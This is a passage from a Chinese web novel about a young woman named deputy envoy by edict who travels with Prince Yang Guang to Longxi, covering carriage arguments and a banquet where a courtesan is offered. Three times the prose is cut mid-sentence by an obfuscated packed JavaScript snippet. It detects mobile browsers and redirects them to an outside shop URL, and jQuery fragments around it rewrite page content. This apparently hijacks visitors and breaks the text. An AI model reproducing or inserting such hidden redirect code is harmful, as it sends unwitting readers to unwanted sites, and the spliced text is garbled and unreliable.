最让人心惊的是那双眼睛,亮得慑人,甚至带着一种……蓄势待发的、近乎亢奋的专注。 ……我前两天居然还担心他会不会不好受?我真是有病!我该担心的是我自己! 他手里捧着那卷明黄的圣旨,目光扫过我乱糟糟的样子,嘴角弯了一下,快得像错觉。 “奉天承运皇帝诏曰,”他展开圣旨,声音清晰平稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319938|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“陇西科举事端频发,民情汹汹。着晋王杨广即日赴陇西,彻查乱象,安抚士子,整顿科举事宜。特擢萧锦为‘察访副使’,随行协理。钦此。” 圣旨念完,厅里安静得能听见针掉地上的声音。 我:“???” 察访副使??我??? 杨广你他妈是不是有病!前几天还假模假样送东西铺垫,今天直接拿圣旨砸脸?还“副使”?我是那块料吗?! 老皇帝也是,这种官是能随便封的吗?! 他到底跟他爹说啥了?? 杨广卷起圣旨,递过来:“萧副使,接旨吧。” 我机械地伸手接过,那卷明黄绸缎握在手里沉甸甸的,还带着他掌心的温度。 “殿、殿下……”我喉咙发干,“今天就走吗?” “陛下体恤,给了一个时辰收拾行装。”他语气平淡,“陇西事急,耽搁不得。” “我……臣女才疏学浅,恐怕难当大任……”我试图挣扎。 “萧姑娘过谦了。”他打断我,目光落在我脸上,“朝堂论辩时,姑娘舌战群儒的胆识,本王记忆犹新。此番陇西之行,正需要姑娘这般敢言敢为之人。” 我:“……” 敢情在这儿等着我呢? 朝堂上把我推出去跟那帮老家伙吵架,现在又要把我扔到陇西去跟地方豪强玩命? 老贺在旁边重重咳了一声,腮帮子鼓了又鼓,最后只剩一抱拳:“陛下圣明!” “圣明”两个字,说得咬牙切齿。 杨广像是没听出来,微微颔首:“贺公放心,本王定会护萧姑娘周全。” 他顿了顿,“一个时辰后,马车在府外等候。萧副使,抓紧时间。” 说完,他转身走了。 厅里死寂。 过了足足五息,老贺一巴掌拍在桌子上,茶盏跳起来老高: “这小子,真他娘的是个人物!” 我攥着那卷圣旨,指节发白。 是啊。 真是个人物。 送了两天东西,地图、文书,一步一步把你往坑里引。等火候到了,直接捧着圣旨上门,连拒绝的余地都不给你,还只给一个时辰收拾。 逼上梁山。 真是逼上梁山。 “贺伯伯……”我看向老贺,声音有点虚,“我真得去啊?” 老贺瞪我一眼:“圣旨都下了,你说呢?” 我又看向贺璟。 他走过来,声音很稳,“遵从你内心。” 我愣了一下。 “你若想去,就去。我调一队人,护你周全。陇西那边,我也有些旧识,能照应一二。”贺璟顿了顿,“若你不想去……” 他没说完,但意思很清楚。圣旨难违,但若我真抵死不从,贺家会想办法。 可他把选择权,轻轻推回给了我。 遵从你内心。 我的内心…… 我看着手里这卷该死的圣旨,又想起那件血衣,那个溺死的少年,那本地图册上的红圈…… 烦死了! 红衣小人尖叫:别去!这是他的算计!他在让你跳火坑! 白衣小人微弱地说:可是……那些都是真的…… 我闭了闭眼,再睁开时,一把将圣旨塞给旁边的云枝。 “收拾东西!”我咬牙切齿,“一个时辰!快点!” 56. 陪他去送死 马车晃晃悠悠驶出了长安城。 我和云枝在一辆车里,贺璟安排的四名护卫骑马跟在后面。前面是杨广那辆更宽敞的玄青色马车,再前面是他的侍卫队。 “小姐,”云枝小声说,“咱们真要去陇西啊?” “不然呢?”我没好气地啃了一口干粮,“圣旨都接了,还能抗旨不成?” “可是……”云枝欲言又止,“听说那边很乱……” “乱就乱吧。”我看向车窗外逐渐荒凉的景色,“反正有人顶着。” 走了约莫半个时辰,在一处岔路口缓缓停下。 我掀开车帘往外看,前面杨广那辆马车也停了。 杨广的侍卫头子,叫秦义,快步走过来,在车外躬身: “萧副使,殿下请您移步,有事相商。” 我:“……” 商量个屁。 一个时辰前拿圣旨砸人的时候怎么不商量? 我磨了磨牙,还是下了车。 云枝想跟着,被秦义礼貌地拦住了:“殿下只请萧副使一人。” 我深吸一口气,走向那辆玄青色马车。 车帘掀开了一个角。 “上车。”他说。 我没动。 “殿下有什么事,在这里说也一样。” 他声音平淡,“事关机密,萧副使确定要在这里说?” 我:“……” 四下看了看,侍卫们都垂手站着,目不斜视。远处是荒郊野岭,近处是尘土飞扬的官道。 就在这被迫上车的憋屈时刻,我的目光扫过车旁那队侍卫,猛地钉在一个人身上。 宇文成都。 春猎时单手就能拎着薛静姝过铁索的猛将,此刻没穿他那身显眼的明光铠,而是一身利落的玄色劲装,外罩半旧皮甲,骑在那匹格外高大的黑马上,就在杨广那辆马车侧后方。 他腰侧挎着的,还是那柄标志性的、看起来就沉得吓人的长刀。 ……春猎才过去几天? 紧跟着就是科举、朝辩、他被关禁闭、圣旨砸下来马上出发。 就这么点工夫,直接把人划拉到自己队伍里了? 卷王。 时间管理大师。 牛逼。 宇文成都察觉到我的视线,转过头。 看见是我,他愣了一下,随即那张线条刚硬、还带着少年气的脸上,绽开一个毫无心机的、近乎憨厚的笑容,朝我用力点了点头。 我回了一个笑,然后掀开车帘钻进去,心里那点“被绑架”的怨气还没散。 车厢铺着深青色绒毯,踩上去软得陷脚。 杨广靠窗坐着,玄色常服的袖口挽起一截,露出精瘦的小臂。他手里拿着卷文书,听见动静,眼皮都没抬。 “坐。” 声音平平的。 我梗着脖子在他对面坐下,故意把动静弄得很大,靴子踢到小几腿,咚的一声。 马车恰在这时动了,轮子碾过官道上的碎石,咯噔一颠,我整个人往旁边歪去,慌忙抓住窗框。 对面那位倒是稳,连文书页角都没抖一下。 “生气?”他先开口。 “不敢。”我别开脸,看着窗外飞速倒退的枯树,声音硬邦邦的,“就是感慨殿下办事,真是越来越干净利落了。一卷黄绸直接把人弄上车,雷霆手段。” 他笑了一声,没接我这带刺的话,而是将膝上那张羊皮地图彻底摊开,推到我面前。 地图上,陇西郡金城县的位置,被朱砂红圈重重标出。 “知道为什么要去金城县吗?”他问。 我看着那个红圈,脑子里闪过独孤明月和老贺的话,在这里,报名点被砸,学官被殴,学子溺亡…… “因为那里闹得最凶,死人最多。” “是,也不是。”杨广的手指点了点那个红圈,声音沉下去。 “金城县,是关陇王氏在陇西的老巢。他们的祠堂祖坟、最大的田庄、藏得最深的私兵,都在那里。他们砸报名点、打学官、甚至敢杀人,不是因为那里‘乱’,恰恰是因为那里太‘稳’。稳得铁板一块,稳到他们觉得,那是他们自己的国中之国。” 他抬眼,目光像淬了冰的针:“他们在用陈望的命告诉所有人:谁敢在他们家里动土,这就是下场。” “所以殿下这次去,不只是查案、安抚?”我盯着他。 “查案要查,人要安抚,”杨广抬眼,“但最重要的,是在金城县把案子查清楚,然后回陇西郡城,把科举的牌子重新立起来。要立,就要立在他们心尖上最疼的地方。” 我懵了。 杨广这厮是不是疯了?! 关陇这些家族,在陇西盘踞了快三百年,大隋朝成立到现在满打满算也就二十年!人家的姻亲故旧、田庄私兵、甚至地方上的小吏差役,早就像藤蔓一样缠死了每一寸土地。 你和你皇帝老子天天在长安头疼的不就是这帮人阳奉阴违、架空中央吗? 在金城县查案已经是虎口拔牙了,还要回陇西郡城办科举试点?那可是元家、独孤家各方势力盘踞的地方,一杆子捅到人家心脏里去了! “殿下……”我声音都有点发飘。 “您这是……要在人家祖祠门口搞‘科举试点’?为啥不找个好拿捏的地方先试试水?比如江都?您在那儿经营那么多年……” “正因为江都是本王的根基,才不能在那里。” 杨广语气平缓,却字字清晰,“在江都推行,即便成了,天下人也只会说,那是晋王在自己的地盘上施恩,算不得真本事,也动摇不了世家大族分毫。” 他目光落回地图上那个红圈,指尖轻叩:“要破局,就要在最硬的地方下刀。金城县是王氏命脉,陇西郡,元家、独孤家……各方势力盘据,只有在这里把科举立住了,才是真正告诉所有人——” “这天下,没有哪家的门槛,高到能挡住朝廷的法令,也没有哪块地方,是科举到不了的。” 疯了,真是疯了。 这已经不是政治斗争,这是军事冒险! 我声音不自觉地拔高:“殿下,你知道这意味着什么吗?这跟把刀子直接捅进老虎喉咙没区别!这里是他们的命根子,他们会拼命的!他们……他们甚至可能狗急跳墙!” “狗急跳墙?”他轻轻重复这个词,嘴角勾起一抹冷峭的弧度,“你是指,他们敢对本王动手?” “难道不敢吗?!”我几乎要吼出来,“陇西郡是郡城,也许还会顾着些朝廷的体面,可金城县是什么地方?王氏在那里盘踞了几百年!城县从上到下,县令、衙役、乡绅、守城的兵卒,有几个不是他们的人?表面上是朝廷的官,背地里吃的都是王家的饭!” “陛下天威浩荡,他们明面上自然不敢抗旨,更不敢公然对您亮刀子。可是‘意外’呢?山匪流寇呢?水土不服‘突发恶疾’呢?甚至……煽动一群‘不明真相’的暴民‘冲撞’车驾呢?” 我紧紧盯着他,想从他脸上找出一丝犹豫或动摇:“我们人生地不熟,你就带了这点侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322917|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫……” 最后一句话没说完,但意思很清楚。 这跟送死有什么区别? 杨广静静地听完,脸上没有什么意外的表情,仿佛我描述的这些血淋淋的可能,只是他棋盘上早已推演过无数遍的寻常落子。 他没有直接回答我的问题。只是抬起眼,目光牢牢看向我,问出了一个完全出乎我意料的问题: “所以,你愿意帮本王吗?” 我愣住了。 几息之后,一股荒谬的、压不住的火气直冲头顶。 “殿下,”我几乎是咬着牙,一字一顿地说,“您都已经用圣旨把我绑在这儿了,绑在这辆往火坑里冲的马车上了。现在,您问我,愿、不、愿、意、帮、您?” 我气得声音都有点抖:“您不觉得,这个问题问得太晚了吗?!” “是有点晚。”他承认得很坦然,甚至嘴角还极轻微地弯了一下,但眼神却异常认真,紧锁着我,“所以,我现在再问一次。” 他的声音放得很缓,每个字都清晰地砸进我耳朵里: “萧锦,你愿意帮我吗?” “不是奉旨,不是被迫。” “是你,萧锦这个人,你愿意帮我吗?” 所有嘈杂的思绪、愤怒、怨气、恐惧,在这一刻被按下了暂停键。 我张了张嘴,脑子里闪过无数句话: ——你疯了!你要死自己死,别拉着我! ——这是政治自杀!你会把所有人都拖进泥潭! ——看看历史书吧!跟关陇硬刚的都没好下场! 可我看着他。 看着这个未来会被史书唾骂、此刻却正试图以一己之力撬动整个旧时代的年轻皇子。 看着他眼底那簇烧不尽的光,和那光底下,一丝几乎难以察觉的……期待? 他在等我的答案。 不是下属对主上的服从,而是一个人对另一个人的……认可与同行。 “为什么?” 我喉咙发紧,声音干得厉害,“长安城里那么多人,有兵权的,有门第的,愿意为殿下效死的……为什么非得是我?” 杨广靠在车厢壁上,他看了我很久,久到我都以为他不会回答了。 然后他说,“因为,能真正能理解本王想做什么的,只有你。” 我脑子里“轰”的一声。 文思阁那三天的烛火,太极殿上他伏地的背影,全涌了上来。 这王八蛋太知道怎么戳我心窝子了。 我看着他那双深不见底的眼睛,看着里面那点等着我跳火坑的光,牙都快咬碎了。 妈的。 萧锦,你也是个疯子。 然后,我听见自己的声音,很轻,却异常清晰,带着一种认命般的、破罐子破摔的狠劲儿: “嗯。” 就一个字。 杨广眼底掠过一丝极淡的、了然的微光,仿佛棋手看到了预料之中的一步。 然后,他目光转向我,不再是商量陇西之事的锐利,而是一种纯粹的、带着审视的好奇。 “既然愿意帮忙,”他开口,语气平稳,却带着不容回避的指向性,“那有件事,本王倒真想问问你。” 我没接话,等他下文。 “我被关在府里那三天,”他身体向后靠了靠,姿态看似放松,目光却始终锁在我脸上,“长安城里,该来看我的人,不该来看我的人,都来过了。” 他顿了顿,语速放慢,每个字都清晰:“你怎么没来?” 57. 美人计 ……哈? 我脑子空白了一秒。 不是大哥,咱们刚才还在讨论怎么去人家祖坟上立牌子玩命,话题跳跃度是不是有点大?? “那种时候……我去不合适吧?” 我干巴巴地找补,感觉自己像个被老师逮到没交作业的小学生,“殿下需要静一静,而且……” “而且什么?”他打断我,追问得很自然,仿佛这只是个需要厘清的逻辑问题,“是真觉得‘不合适’,还是别的?” “……别的什么?”我磕磕巴巴。 “比如,”他微微前倾,目光里那种探究的意味更浓了,简直像在观察实验室里不按预期反应的小白鼠,“你在躲我。” “我没有!” 我条件反射般反驳,声音因为心虚拔高了一度,我正想继续辩解,却对上了他的眼睛。 那眼神……不对劲。 没有质问,没有失望。 而是一种干干净净、明明白白的困惑。 就像我小时候做数学题,明明所有步骤都对,最后答案却和老师给的不一样时,那种纯粹的、“这到底哪儿出错了”的懵逼感。 等等。 懵逼? 他为什么会懵逼? 我按兵不动不去探监,难道不是最正常、最规矩的操作吗?这有什么好懵逼的? 电光石火间,我脑子里像被人“啪”地擦亮了一根火柴。 除非……在他心里,关于我“萧锦会怎么做”的标准答案,根本就不是“按兵不动”! 他早就给我预设好了另一条行动路线! 而我没按那条路走,所以他才懵了! 我忽然全明白了。 文思阁那个失控扑过去的拥抱,黄河边听他讲运河时我自己都没察觉的发亮的眼睛,甚至更早之前那些我自己都说不清道不明的瞬间…… 这些在他眼里,恐怕早就被一条条记下,汇总成了某个清晰无疑的结论。 结论就是:这姑娘,对我有意思。 所以,在他那套精密的算计里,一个“对他有意思”的姑娘,在他“落难被关”的时候,理应心急火燎、想方设法哪怕只是露个脸才对。 这才是符合他逻辑的“标准答案”。 而我呢? 我安安分分蹲在家里当咸鱼,连晋王府那条街都没靠近过。 所以他现在根本不是问我“你为什么不来关心我”。 他是在纳闷儿:“我明明都算好了你会来,你怎么能不来呢?我这题错哪儿了?” 我在他眼里,恐怕早就被归类完毕,贴好了“可用、可控、且对我怀有私情”的棋子标签。 而现在,这枚棋子居然直接给他棋盘掀了。 行啊,你不是要答案吗? 老娘给你个明白! “殿下,”我扯出一个皮笑肉不笑的表情,语气堪称诚恳,“您问得对,我是该去的。” 他眉梢几不可察地动了一下,似乎在等我的“合理解释”。 “您想啊,”我掰着手指头,开始一本正经地胡说八道,“您被陛下关禁闭,那得多苦闷、多无助啊?我作为……咳,作为您忠实的拥护者、新政的热情参与者,于公于私,都该第一时间冲过去,给您送温暖、表忠心才对!” “最好再哭一鼻子,说几句‘殿下受苦了’、‘我心疼坏了’之类的话,是不是?” 我歪着头,看着他越来越深沉的眼神,继续煽风点火,“或者,我再机灵点儿,偷偷给您传递点外头的消息,帮您打点打点宫里?这才叫‘懂事’,对不对?” 我凑近一点,压低声音,学着他那种算计人的腔调:“殿下,您是不是就等着我这么演呢?等我巴巴地凑上去,您就能更笃定,看,这枚棋子,果然牢牢握在我手里,连心都是向着我的。” “可惜啊,”我猛地往后一靠,摊了摊手,语气变得冷淡又疏离,“让殿下失望了。我这人吧,脑子笨,规矩学得死。陛下让您‘静思己过’,那我就觉着,不该去打扰您‘静思’。何况……” 我抬眼,直视着他,一字一顿: “我跟殿下您,到底是什么关系呢?值得我冒那么大的风险、顶着那么多猜疑的眼光,非要往风口浪尖上凑?” “我若真去了,外头会怎么说?说贺家养女眼巴巴攀附失势的亲王?说晋王殿下连禁足都不忘勾搭小姑娘?”我扯了扯嘴角,“殿下,您要的是这把柄吗?” 车厢里死一般寂静。 杨广脸上的困惑早已消失,取而代之的是一种极深的、难以解读的沉寂。 他没有被我的“大实话”激怒,也没有辩解,只是那样静静地看着我,仿佛第一次真正地、重新审视眼前这个人。 过了许久,他才缓缓开口,声音低缓,带着一丝几不可察的……叹息? “萧锦,”他顿了顿,目光锁住我,清晰地说道,“谁说,你是棋子?” 我一怔。 他并没有等我回答,也没有解释,只是继续用那种低缓而肯定的语气说: “本王不会带着一颗棋子,去金城县那种地方。” 这句话很轻,却像一块石头,沉沉地砸进我心里。 什么意思? 我不是棋子? 那是什么? 战友?同谋?还是……别的什么? 他没再多说,目光里有一种罕见的坦率和认真,冲淡了惯有的算计和深沉。 仿佛这句话本身,就是全部的解释。 然后,他极轻地摇了摇头,将那份摊开的地图,重新推到了我们两人中间。 指尖准确地点在金城县的位置。 “好了。” 他的声音恢复了惯常的冷静,果断利落。 “不说这些了。” 他抬眼,目光清亮地看向我,所有的私人情绪都已收敛干净,只剩下纯粹的对局势的关注。 “现在,我们说正事。” 他的语气平稳,不容置疑: “到了金城县,第一步,该怎么走?” 我:“……” 心脏还在因为他那句“不会带着一颗棋子”而微微发麻,脑子里乱糟糟地试图解读那背后可能的含义。但他已经切断了那个话题,切得干脆利落,不留一丝余地。 行。 算你狠。 我靠在车厢壁上,刚才那一通输出和后续的冲击让我的脑子还有点晕。 但,正事就是正事。 我深吸一口气,把那些翻腾的疑问和异样感强行压下去,也把目光投向地图上那个刺眼的红圈。 “殿下想怎么走?” …… 接下来的几天路途,我过得有点……飘。 不是身体飘,是心里那点滋味儿,七上八下的,说不清道不明。 自从那天车厢里,杨广扔下那句“本王不会带着一颗棋子,去金城县那种地方”之后,他好像……变了。 不是说人变了,是待我的方式。 具体哪儿变了呢?我也说不上来。 就是感觉,更周到了。周到得……有点刻意,又有点让人猝不及防。 比如,第一天中午歇在驿站,我不过随口嘀咕了一句:“这驿站的垫子也太硬了,硌得慌。” 第二天,我马车里的坐垫就全换成了厚厚的、软绵绵的新棉垫,还熏了淡雅的兰草香。 再比如,第二天晚上吃饭,驿站的炙羊肉烤得有点柴,我啃了两口就放下了。第三天晚上,我的食盒里就单独多了一份炖得酥烂入味的羊羔肉,还配了清爽的腌菜。 就连我多看两眼窗外掠过的野花,第二天车里的小几上,就会多一瓶插着几枝不知名山花的清水瓷瓶。 这些变化细微又精准,全不着痕迹地落在我身上。杨广自己车里的东西,还是原来的样子。 他甚至没提过一句,仿佛这些“额外关照”都是驿站自发的、或者我身边侍卫的“贴心”。 云枝偷偷跟我说:“小姐,殿下对你可真上心。” 我嘴里嚼着软嫩的羊肉,心里却有点不是滋味。 这算什么呢? 是……因为那句“不是棋子”的补充福利?还是他新一轮的、更隐晦的“情感投资”? 我试图从他的神情里找出端倪,但他一切如常。 赶路时看文书,歇息时听汇报,跟我讨论金城县的计划时条理清晰,眼神清明。那些细微的关照,仿佛只是他庞大计划中,一个不需要特意提及的、顺手为之的小环节。 这种“润物细无声”的好,比直白的殷勤更让人心乱。 因为你抓不住把柄,也无法义正词严地拒绝。因为人家什么都没说啊! 我只能一边享受(或者说被迫接受)着这些“小恩惠”,一边在心里疯狂吐槽:这糖衣炮弹的纯度是不是太高了点?! 第五天傍晚,车队终于驶入了陇西郡城。 按规矩,亲王过境,郡府必须迎候,我们得在这儿停一夜。 但谁都知道,真正的第一场硬仗是在金城县。 案子不破,人心不稳,科举就是句空话。 杨广的意思很明白:见过郡守,明早立刻直奔金城县。等用陈望的命案砸开一道口子,再回头收拾这陇西郡的棋局。 和一路上的荒凉截然不同,郡城总算有了点“城”的样子。 城墙高大厚重,门洞幽深。街道还算宽阔,两旁商铺林立,行人车马虽不多,但好歹有些活气。空气里飘着香料、牲畜和尘土混合的味道,还有一股子……说不出的、被规矩和权力浸透了的沉闷感。 这里不像长安那样鲜活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17327957|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张扬,也不像沿途村落那样死寂绝望。它像一头疲惫但依旧警惕的巨兽,趴在黄土高原上,沉默地守护着,也禁锢着某种运行了数百年的秩序。 来接驾的阵仗不小。 陇西郡的郑郡守带着一众属官在城门处迎接,礼数周全,笑容可掬。但不知是不是我的错觉,总觉得那些笑容底下,藏着某种不动声色的审视和疏离。 郑郡守是个五十来岁的文官,说话滴水不漏:“晋王殿下远来辛苦!下官已在府中略备薄宴,为殿下接风洗尘。金城县那边……路途尚远,且近日地方不靖,殿下不如在郡城歇息两日,容下官将一应事宜安排妥当,再行前往?” 这话听着是关心,实则绵里藏针,想先把我们按在郡城。 杨广脸上是无可挑剔的温和笑意:“郑郡守有心了。陛下催得急,金城县的事耽搁不得。明日一早,本王便启程。” 郑郡守眼神微动,但笑容不变:“殿下勤于王事,下官敬佩。那……便请殿下先赴宴,稍解疲乏。” 接风宴设在郡守府的正厅。 灯火通明,丝竹悦耳,菜肴也算丰盛。 刚落座不久,酒还未斟,郑太守的目光便“恰好”落在我身上,笑着对杨广开口:“早闻萧副使才貌双全,今日一见,果然不凡。只是……” 他话锋一转,故作关切,“陇西地偏事杂,风沙也大,让如此佳人奔波劳碌,下官看着,实在是于心不忍啊。” 这话看似体贴,实则是把我钉在了“需要被怜惜的柔弱佳人”位置上,与“办正事的官员”割裂开来。 席间几位官员立刻笑着附和,眼神里带着心照不宣的打量。 我心里骂骂咧咧,看向杨广。 他还在喝酒。 喂,看见没?说句话啊。 他没看我。 行,自己来就自己来。 我转过头,对着郑太守那张堆笑的脸,也笑了一下: “太守这话说的,陛下和晋王殿下让我来陇西,是来办事的,不是来当娇客的。风沙大不大,事儿杂不杂,该干的活儿不都得干么?难不成……” 我故意顿了顿,扫了一眼席间,声音放轻了些,却足够清楚: “太守是觉得,女子就不该在外抛头露面,不该领朝廷的差事?” 这话直白,甚至有点刺。 席间那几声轻笑戛然而止。 郑太守脸上的笑容僵了僵,大概没料到我会这么直接顶回来。他干笑两声,连忙摆手:“哎哟,萧副使言重了,言重了!下官绝无此意,绝无此意!只是……只是觉得副使年轻,怕您辛苦……” “不辛苦。”我截断他的话,语气平淡,“食君之禄,忠君之事。辛苦是应当的。太守的好意,我心领了。” 郑太守碰了个不软不硬的钉子,脸色有些讪讪,又不好发作,只得打着哈哈:“是是是,副使忠心可嘉,忠心可嘉……来,下官敬副使一杯!” 很快,席间恢复了觥筹交错,郑郡守和几位本地官员轮番向杨广敬酒,言辞间无非是“地方安宁来之不易”、“豪族亦有其苦衷”、“新政推行宜缓不宜急”之类的老生常谈。 杨广应对得体,既不松口,也不硬顶,气氛维持着表面的和谐。 我坐在杨广下首不远,安静地吃东西,耳朵却竖着,心里默默分析着每个人的言辞和表情。 这帮老狐狸,句句都在挖坑。 酒又过了一巡。郑太守脸上红光更盛,他亲自执壶为杨广斟满,笑道:“殿下远道而来,车马劳顿。陇西僻远,无甚好招待,唯有些许地方歌舞,或可聊解殿下烦闷。” 说着,他意味深长地看了杨广一眼,“此外,下官偶得一江南佳丽,善音律,解人意,特献与殿下,伺候殿下起居,略尽地主之谊。” 话音落下,一名身着浅碧纱裙的女子从屏风后袅娜转出。 她身段纤细柔软,容貌是江南水乡特有的精致温婉,眉眼含情,行动间如弱柳扶风。抱着琵琶,朝着杨广盈盈下拜,声音娇柔:“民女柳儿,拜见晋王殿下。” 美人计? 我愣了一下。 郑太守这是……想用女人绊住他? 不是,这也太……低级了吧! 你以为这位爷是什么人? 是那个能把满朝文武怼得哑口无言的人,是在江都十年不近女色、一心政务的人。 一个美人就想绊住他? 开玩笑。 我等着他用那种滴水不漏的、让人挑不出刺的客气话,把这裹着蜜糖的毒饵原封不动挡回去。 杨广放下酒杯,目光在柳儿身上停留片刻,嘴角浮起一丝浅淡的、意味不明的笑意。 “郑郡守有心了。”他开口,声音温和,甚至带着点恰到好处的愉悦,“过来。” 我:……?